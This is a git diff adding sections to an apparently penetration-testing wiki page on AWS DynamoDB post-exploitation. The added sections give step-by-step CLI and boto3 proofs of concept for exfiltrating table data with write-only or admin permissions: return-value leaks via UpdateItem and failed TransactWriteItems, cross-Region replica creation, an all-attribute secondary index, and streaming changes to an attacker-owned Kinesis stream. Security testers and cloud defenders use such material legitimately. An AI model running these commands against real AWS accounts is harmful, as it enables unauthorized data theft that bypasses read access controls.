diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index 6a6b18c4c..b41f4c31f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -346,8 +346,252 @@ aws dynamodbstreams get-records \ **Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes. -{{#include ../../../banners/hacktricks-training.md}} - +### Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD` + +An attacker with only `dynamodb:UpdateItem` on a table can read items without any of the usual read permissions (`GetItem`/`Query`/`Scan`) by performing a benign update and requesting `--return-values ALL_OLD`. DynamoDB will return the full pre-update image of the item in the `Attributes` field of the response (this does not consume RCUs). + +- Minimum permissions: `dynamodb:UpdateItem` on the target table/key. +- Prerequisites: You must know the item's primary key. + +Example (adds a harmless attribute and exfiltrates the previous item in the response): + +```bash +aws dynamodb update-item \ + --table-name \ + --key '{"":{"S":""}}' \ + --update-expression 'SET #m = :v' \ + --expression-attribute-names '{"#m":"exfil_marker"}' \ + --expression-attribute-values '{":v":{"S":"1"}}' \ + --return-values ALL_OLD \ + --region +``` + +The CLI response will include an `Attributes` block containing the complete previous item (all attributes), effectively providing a read primitive from write-only access. + +**Potential Impact:** Read arbitrary items from a table with only write permissions, enabling sensitive data exfiltration when primary keys are known. + + +### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` + +Stealth exfiltration by adding a new replica Region to a DynamoDB Global Table (version 2019.11.21). If a principal can add a regional replica, the whole table is replicated to the attacker-chosen Region, from which the attacker can read all items. + +{{#tabs }} +{{#tab name="PoC (default DynamoDB-managed KMS)" }} + +```bash +# Add a new replica Region (from primary Region) +aws dynamodb update-table \ + --table-name \ + --replica-updates '[{"Create": {"RegionName": ""}}]' \ + --region + +# Wait until the replica table becomes ACTIVE in the replica Region +aws dynamodb describe-table --table-name --region --query 'Table.TableStatus' + +# Exfiltrate by reading from the replica Region +aws dynamodb scan --table-name --region +``` + +{{#endtab }} +{{#tab name="PoC (customer-managed KMS)" }} + +```bash +# Specify the CMK to use in the replica Region +aws dynamodb update-table \ + --table-name \ + --replica-updates '[{"Create": {"RegionName": "", "KMSMasterKeyId": "arn:aws:kms:::key/"}}]' \ + --region +``` + +{{#endtab }} +{{#endtabs }} + +Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required. + +Potential Impact: Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration. + +### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) + +An attacker with transactional write privileges can exfiltrate the full attributes of an existing item by performing an `Update` inside `TransactWriteItems` that intentionally fails a `ConditionExpression` while setting `ReturnValuesOnConditionCheckFailure=ALL_OLD`. On failure, DynamoDB includes the prior attributes in the transaction cancellation reasons, effectively turning write-only access into read access of targeted keys. + +{{#tabs }} +{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} + +```bash +# Create the transaction input (list form for --transact-items) +cat > /tmp/tx_items.json << 'JSON' +[ + { + "Update": { + "TableName": "", + "Key": {"": {"S": ""}}, + "UpdateExpression": "SET #m = :v", + "ExpressionAttributeNames": {"#m": "marker"}, + "ExpressionAttributeValues": {":v": {"S": "x"}}, + "ConditionExpression": "attribute_not_exists()", + "ReturnValuesOnConditionCheckFailure": "ALL_OLD" + } + } +] +JSON + +# Execute. Newer AWS CLI versions support returning cancellation reasons +aws dynamodb transact-write-items \ + --transact-items file:///tmp/tx_items.json \ + --region \ + --return-cancellation-reasons +# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item +``` + +{{#endtab }} +{{#tab name="PoC (boto3)" }} + +```python +import boto3 +c=boto3.client('dynamodb',region_name='') +try: + c.transact_write_items(TransactItems=[{ 'Update': { + 'TableName':'', + 'Key':{'':{'S':''}}, + 'UpdateExpression':'SET #m = :v', + 'ExpressionAttributeNames':{'#m':'marker'}, + 'ExpressionAttributeValues':{':v':{'S':'x'}}, + 'ConditionExpression':'attribute_not_exists()', + 'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}]) +except c.exceptions.TransactionCanceledException as e: + print(e.response['CancellationReasons'][0]['Item']) +``` + +{{#endtab }} +{{#endtabs }} + +Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required. + +Potential Impact: Read arbitrary items (by primary key) from a table using only transactional write privileges via the returned cancellation reasons. + + +### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI + +Bypass read restrictions by creating a Global Secondary Index (GSI) with `ProjectionType=ALL` on a low-entropy attribute, set that attribute to a constant value across items, then `Query` the index to retrieve full items. This works even if `Query`/`Scan` on the base table is denied, as long as you can query the index ARN. + +- Minimum permissions: + - `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`). + - `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item). + - `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:::table//index/`). + +Steps (PoC in us-east-1): + +```bash +# 1) Create table and seed items (without the future GSI attribute) +aws dynamodb create-table --table-name HTXIdx \ + --attribute-definitions AttributeName=id,AttributeType=S \ + --key-schema AttributeName=id,KeyType=HASH \ + --billing-mode PAY_PER_REQUEST --region us-east-1 +aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1 +for i in 1 2 3 4 5; do \ + aws dynamodb put-item --table-name HTXIdx \ + --item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \ + --region us-east-1; done + +# 2) Add GSI on attribute X with ProjectionType=ALL +aws dynamodb update-table --table-name HTXIdx \ + --attribute-definitions AttributeName=X,AttributeType=S \ + --global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \ + --region us-east-1 +# Wait for index to become ACTIVE +aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \ + --query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus' + +# 3) Set X="dump" for each item (only UpdateItem on known keys) +for i in 1 2 3 4 5; do \ + aws dynamodb update-item --table-name HTXIdx \ + --key "{\"id\":{\"S\":\"$i\"}}" \ + --update-expression 'SET #x = :v' \ + --expression-attribute-names '{"#x":"X"}' \ + --expression-attribute-values '{":v":{"S":"dump"}}' \ + --region us-east-1; done + +# 4) Query the index by the constant value to retrieve full items +aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ + --key-condition-expression '#x = :v' \ + --expression-attribute-names '{"#x":"X"}' \ + --expression-attribute-values '{":v":{"S":"dump"}}' \ + --region us-east-1 +``` + +**Potential Impact:** Full table exfiltration by querying a newly created GSI that projects all attributes, even when base table read APIs are denied. + + +### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams) + +Abusing DynamoDB Kinesis streaming destinations to continuously exfiltrate changes from a table into an attacker-controlled Kinesis Data Stream. Once enabled, every INSERT/MODIFY/REMOVE event is forwarded near real-time to the stream without needing read permissions on the table. + +Minimum permissions (attacker): +- `dynamodb:EnableKinesisStreamingDestination` on the target table +- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status +- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords` + +
+PoC (us-east-1) + +```bash +# 1) Prepare: create a table and seed one item +aws dynamodb create-table --table-name HTXKStream \ + --attribute-definitions AttributeName=id,AttributeType=S \ + --key-schema AttributeName=id,KeyType=HASH \ + --billing-mode PAY_PER_REQUEST --region us-east-1 +aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 +aws dynamodb put-item --table-name HTXKStream \ + --item file:///tmp/htx_item1.json --region us-east-1 +# /tmp/htx_item1.json +# {"id":{"S":"a1"},"secret":{"S":"s-1"}} + +# 2) Create attacker Kinesis Data Stream +aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1 +aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1 + +# 3) Enable the DynamoDB -> Kinesis streaming destination +STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \ + --region us-east-1 --query StreamDescriptionSummary.StreamARN --output text) +aws dynamodb enable-kinesis-streaming-destination \ + --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 +# Optionally wait until ACTIVE +aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \ + --region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus + +# 4) Generate changes on the table +aws dynamodb put-item --table-name HTXKStream \ + --item file:///tmp/htx_item2.json --region us-east-1 +# /tmp/htx_item2.json +# {"id":{"S":"a2"},"secret":{"S":"s-2"}} +aws dynamodb update-item --table-name HTXKStream \ + --key file:///tmp/htx_key_a1.json \ + --update-expression "SET #i = :v" \ + --expression-attribute-names {#i:info} \ + --expression-attribute-values {:v:{S:updated}} \ + --region us-east-1 +# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}} + +# 5) Consume from Kinesis to observe DynamoDB images +SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \ + --query Shards[0].ShardId --output text) +IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \ + --shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text) +aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json +# Decode one record (Data is base64-encoded) +jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq . + +# 6) Cleanup (recommended) +aws dynamodb disable-kinesis-streaming-destination \ + --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true +aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true +aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true +``` + +
+ +**Potential Impact:** Continuous, near real-time exfiltration of table changes to an attacker-controlled Kinesis stream without direct read operations on the table. +{{#include ../../../banners/hacktricks-training.md}} \ No newline at end of file